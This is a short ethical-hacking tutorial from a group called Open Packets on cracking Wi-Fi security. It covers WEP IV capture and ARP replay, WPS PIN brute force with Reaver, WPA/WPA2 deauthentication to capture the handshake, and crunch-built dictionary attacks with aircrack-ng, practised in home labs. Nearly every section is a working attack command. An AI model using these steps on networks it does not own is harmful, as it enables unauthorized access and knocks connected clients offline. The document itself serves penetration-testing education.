Wi-Fi Hacking [WEP, WPA/WPA2]

OPEN PACKETS

Follow us:

Facebook:- https://www.facebook.com/OpenPackets

Instagram:- https://www.instagram.com/openpackets

Email us:- openpackets@gmail.com

Github:- https://github.com/OpenPackets/Wi-Fi_Hacking

WARNING

This is Ethical Hacking education Book. So please don't use this software for any illegal or Malicious activities.

I'm not supporting any kind of illegal or Malicious hacking.

Note:- In this book we are using our own Network for hacking/penetration testing.

WEP Wi-Fi

- **WEP** is an old encryption
- IT uses an Algorithm called **RC4**
- IT using unique key stream by using 24-bit Initializing Vector (IV).
- This **IV** is contained in the packets as a plain text.
- We need to collect more then two packets with the same IV.

WEP Wi-Fi Hacking Command

1.METHOD 1

- Airodump-ng --channel [Target Channel number] –-bssid [Target MAC] –-write [file name] [Interface]

  Eg: airodump-ng --channel 11 –bssid 00:C0:CA:6A:BF:74 –write wep-hacking mon0

- Aircrack-ng [file name]

  Eg: aircrack-ng wep-hacking

Note: At the same time we shell use aircrack-ng to try and crack the key using the capture file created by the above command.

WEP Wi-Fi Hacking Command

1.METHOD 2 : INJECT NEW PACKET FOR NEW IV

- Airodump-ng --channel [Target Channel number] –-bssid [Target MAC] –-write [file name] [Interface]

  Eg: airodump-ng --channel 11 –bssid 00:C0:CA:6A:BF:74 –write wep-hacking mon0
- Aireplay-ng –fakeauth O –a [Target MAC] –h [Your MAC] [Interface]

  Eg: aireplay-ng –fakeauth O –a 00:C0:CA:6A:BF:74 –h 00:C0:CA:58:49:F4 mon0
- Aireplay-ng arpreplay –b [Target MAC] –h [Your MAC] [Interface]

  Eg: Aireplay-ng arpreplay –b 00:C0:CA:6A:BF:74 –h 00:C0:CA:58:49:F4 mon0

Note: No one connect to the network.

WPA/WPA2 Wi-Fi

- In WPA each packet is encrypted with a **Unique Temporary KEY** its means the number of data packets that we collect it irrelevant.
- **WPA** and **WPA2** are similar the only different is that **WPA2** uses an Algorithm called **CCMP.**

WPA/WPA2 Wi-Fi Hacking Command

1.METHOD 1 : WPS

- WPS is a feature that allows users to connect to WPS enabled network easily.
- Authentication is done using 8 digit long pin this means that there is a relatively small number of pin combination and use Brute Force we can guess the pin less than 1 hours.
- A tool called REAVER can then recover the WPA/WPA2 key from the pin.

Note: This flaw is in the WPS feature and not in WPA/WPA2 however it allows us to crack any WPA/WPA2 AP {access point} without using a wordlist and without any clinets.

- Wash –I mon0
- Rever –b [bssid] –c[channel] –I mon0

WPA/WPA2 Wi-Fi Hacking Command

1.METHOD 2 : HANDSHAKE

A) CAPTURE THE HANDSHAKE

B) A WORDLIST

- Airodump-ng mon0
- Airodump-ng –channel –Bssid [Target MAC] –write [Handshake file name] [Interface]
- Aireplay-ng –deauth[Number] –a [Target MAC] –c [Client MAC/Sub-Target MAC] [interface]

Create your own wordlist

- Crunch [min] [max] [characters = lower | Upper | number | symbols] -t [pattern] –o [wordlist file name]
- cat [wordlist filename] # to open wordlist #
- Aircrack-ng [Handshake file name] –w [wordlist file name]

BASIC COMMAND

1. Airmon-ng start wlan0 [to start monitor mode in wi-fi]
2. Airmon-ng stop wlan0 [to stop monitor mode in wi-fi]
3. iwconfig [to check mode or MAC]
4. Airodump-ng wlan0mon / mon0 [to monitor near wi-fi network]
5. Ctrl + shift + c [for copy in terminal]
6. Ctrl + shift + v [for past in terminal]
7. Clear [for clear everything in terminal]
8. Use –help [for more info]
9. Wlan0mon / mon0 / wlan0 [this are your interface]

LAB 1: WPA/WPA2 Wi-Fi Hacking

Download LAB 1 video from:- https://github.com/OpenPackets/Wi-Fi_Hacking

- Crunch 8 8 0345798 –o [wordlist file name] –t 9@@@@@@7
- Airmon-ng start wlan0
- iwconfig {check wlan0 Mode = Monitor }
- Airodump-ng –channel [ ] –bssid [ ] –write [Handshake file name] [Interface name]

Open another Terminal

- Aireplay-ng –deauth 4 –a [Target MAC] –c [Client MAC] [Interface]
- Aircrack-ng [Handshake file name with .cap] –w [wordlist file name]

Note 1:- use 1 laptop [hacking machine], 1 Wi-Fi, 1 mobile/pc/laptop connected to Wi-Fi. Do not connect hacking machine with Wi-Fi

1. create a WPA/WPA2 Wi-Fi [Target] and connect it with any mobile/PC/Laptop [Victim].
2. Put a small password for test, I'm using number 8 digit number [99450357]. Save you configuration.

3 run above command to hack your Wi-Fi lab.

Note 2:-

In this Lab we are imagine we know our target use 8 digit number password and it starting from 9 and end 7.

we are going to use this information for hacking this LAB.

LAB 2: WPA/WPA2 Wi-Fi Hacking

- Crunch 8 8 0123456789 –o [wordlist file name]
- Airmon-ng start wlan0
- iwconfig {check wlan0 Mode = Monitor }
- Airodump-ng –channel [ ] –bssid [ ] –write [Handshake file name] [Interface name]

Open another Terminal

- Aireplay-ng –deauth [number] –a [Target MAC] –c [Client MAC] [Interface name]
- Aircrack-ng [Handshake file name with .cap] –w [wordlist file name]

Note 1:- use 1 laptop [hacking machine], 1 Wi-Fi, 1 mobile/pc/laptop connected to Wi-Fi. Do not connect hacking machine with Wi-Fi.

1. create a WPA/WPA2 Wi-Fi [Target] and connect it with any mobile/PC/Laptop [Victim].
2. Put a small password for test, I'm using number 8 digit number [99450357]. Save you configuration.

3 run above command to hack your Wi-Fi lab.

Note 2:-

In this Lab we are imagine we know our target use 8 digit number password But we don't know password Patten.

we are going to use this information for hacking this LAB.

LAB 3: WPA/WPA2 Wi-Fi Hacking

Download LAB 3 video from:- https://github.com/OpenPackets/Wi-Fi_Hacking

- Crunch 11 11 acgkinh#123 –o [wordlist file name] –t h@@@@@@#123
- Airmon-ng start wlan0
- iwconfig {check wlan0 Mode = Monitor }
- Airodump-ng –channel [ ] –bssid [ ] –write [Handshake file name] [Interface name]

Open another Terminal

- Aireplay-ng –deauth [number] –a [Target MAC] –c [Client MAC] [Interface name]
- Aircrack-ng [Handshake file name with .cap] –w [wordlist file name]

Note 1:- use 1 laptop [hacking machine], 1 Wi-Fi, 1 mobile/pc/laptop connected to Wi-Fi. Do not connect hacking machine with Wi-Fi.

1. create a WPA/WPA2 Wi-Fi [Target] and connect it with any mobile/PC/Laptop [Victim].

2. Put a small password for test, I'm using number 11 digit [hacking#123] . Save you configuration.

3 run above command to hack your Wi-Fi lab.

Note 2:-

In this Lab we are imagine we know our target use 11 alphabetical + number password But we know he use [# , 123 in end and password starting from h].

we are going to use this information for hacking this LAB.

THANK YOU

OPEN PACKETS

Follow us:

Facebook:- https://www.facebook.com/OpenPackets

Instagram:- https://www.instagram.com/openpackets

Email us:- openpackets@gmail.com

Github: https://github.com/OpenPackets/Wi-Fi_Hacking